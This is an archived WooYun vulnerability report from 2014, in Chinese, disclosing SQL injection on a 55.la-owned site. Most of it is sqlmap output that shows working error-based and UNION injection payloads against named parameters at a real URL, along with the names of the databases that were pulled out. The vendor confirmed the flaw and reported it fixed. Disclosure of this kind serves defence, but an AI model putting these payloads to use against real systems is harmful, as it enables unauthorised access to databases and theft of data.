当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061544

漏洞标题:我拉网旗下某站点一处sql注入

相关厂商:55.la

漏洞作者: Mosuan

提交时间:2014-05-20 11:21

修复时间:2014-07-04 11:22

公开时间:2014-07-04 11:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-20: 细节已通知厂商并且等待厂商处理中
2014-05-20: 厂商已经确认,细节仅向厂商公开
2014-05-30: 细节向核心白帽子及相关领域专家公开
2014-06-09: 细节向普通白帽子公开
2014-06-19: 细节向实习白帽子公开
2014-07-04: 细节向公众公开

简要描述:

呵呵

详细说明:

http://run.wstp8.com/js_talk.php?bid=2190&btype=1


注入地址:http://run.wstp8.com/js_talk.php?bid=2190&btype=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 02:06:26
[02:06:26] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\run.wstp8.com\session' as session file
[02:06:26] [INFO] testing connection to the target url
[02:06:26] [INFO] heuristics detected web page charset 'GB2312'
[02:06:26] [INFO] testing if the url is stable, wait a few seconds
[02:06:27] [INFO] url is stable
[02:06:27] [INFO] testing if GET parameter 'bid' is dynamic
[02:06:27] [WARNING] GET parameter 'bid' appears to be not dynamic
[02:06:27] [INFO] heuristic test shows that GET parameter 'bid' might be injecta
ble (possible DBMS: MySQL)
[02:06:27] [INFO] testing sql injection on GET parameter 'bid'
[02:06:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:06:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[02:06:29] [INFO] GET parameter 'bid' is 'MySQL >= 5.0 AND error-based - WHERE o
r HAVING clause' injectable
[02:06:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:06:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:06:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[02:06:32] [INFO] target url appears to be UNION injectable with 4 columns
[02:06:32] [INFO] GET parameter 'bid' is 'MySQL UNION query (NULL) - 1 to 10 col
umns' injectable
GET parameter 'bid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
[02:07:02] [INFO] testing if GET parameter 'btype' is dynamic
[02:07:02] [WARNING] GET parameter 'btype' appears to be not dynamic
[02:07:02] [INFO] heuristic test shows that GET parameter 'btype' might be injec
table (possible DBMS: MySQL)
[02:07:02] [INFO] testing sql injection on GET parameter 'btype'
[02:07:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:07:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[02:07:04] [INFO] GET parameter 'btype' is 'MySQL >= 5.0 AND error-based - WHERE
or HAVING clause' injectable
[02:07:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:07:04] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:07:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[02:07:06] [INFO] GET parameter 'btype' is 'MySQL UNION query (NULL) - 1 to 10 c
olumns' injectable
GET parameter 'btype' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 67 HTTP(s) requ
ests:
---
Place: GET
Parameter: btype
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: bid=2190&btype=1' AND (SELECT 3434 FROM(SELECT COUNT(*),CONCAT(0x3a
7a6a6f3a,(SELECT (CASE WHEN (3434=3434) THEN 1 ELSE 0 END)),0x3a7577623a,FLOOR(R
AND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'nqLU'='nqL
U
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: bid=2190&btype=1' UNION ALL SELECT NULL, CONCAT(0x3a7a6a6f3a,0x5446
5955494755484659,0x3a7577623a), NULL, NULL# AND 'Uqii'='Uqii
Place: GET
Parameter: bid
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: bid=2190' AND (SELECT 2088 FROM(SELECT COUNT(*),CONCAT(0x3a7a6a6f3a
,(SELECT (CASE WHEN (2088=2088) THEN 1 ELSE 0 END)),0x3a7577623a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jodT'='jodT&btype=
1
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: bid=2190' UNION ALL SELECT NULL, CONCAT(0x3a7a6a6f3a,0x486b6e765872
47505045,0x3a7577623a), NULL, NULL# AND 'uPxx'='uPxx&btype=1
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: GET, parameter: bid, type: Single quoted string (default)
[1] place: GET, parameter: btype, type: Single quoted string
[q] Quit
>
[02:08:39] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.24
back-end DBMS: MySQL 5.0
[02:08:39] [INFO] fetching database names
available databases [4]:
[02:08:39] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[*] information_schema:uw...</td></tr><tr width="196px" align="left"><td width="
190px" align="left"><b style="color:#1F3A87">??</b> ? ????</td></tr><tr width="1
96px" align="left"><td style="width:190px; word-wrap:break-word;align:left;">:zj
o:help55la
[*] test
[*] u_run55_la
[*] wstp8_com
[02:08:39] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\run.wstp8.com'

漏洞证明:

详细说明

修复方案:

你们懂的!!

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-05-20 15:10

厂商回复:

非常感谢

最新状态:

2014-05-20:已经修复